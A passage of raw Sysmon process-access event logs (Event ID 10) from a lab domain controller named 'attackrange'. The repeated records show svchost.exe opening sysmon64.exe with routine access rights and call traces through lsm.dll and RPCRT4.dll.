C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1365,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1366,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1367,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1368,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1369,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1370,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1371,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.728\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.728","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1372,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.729\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 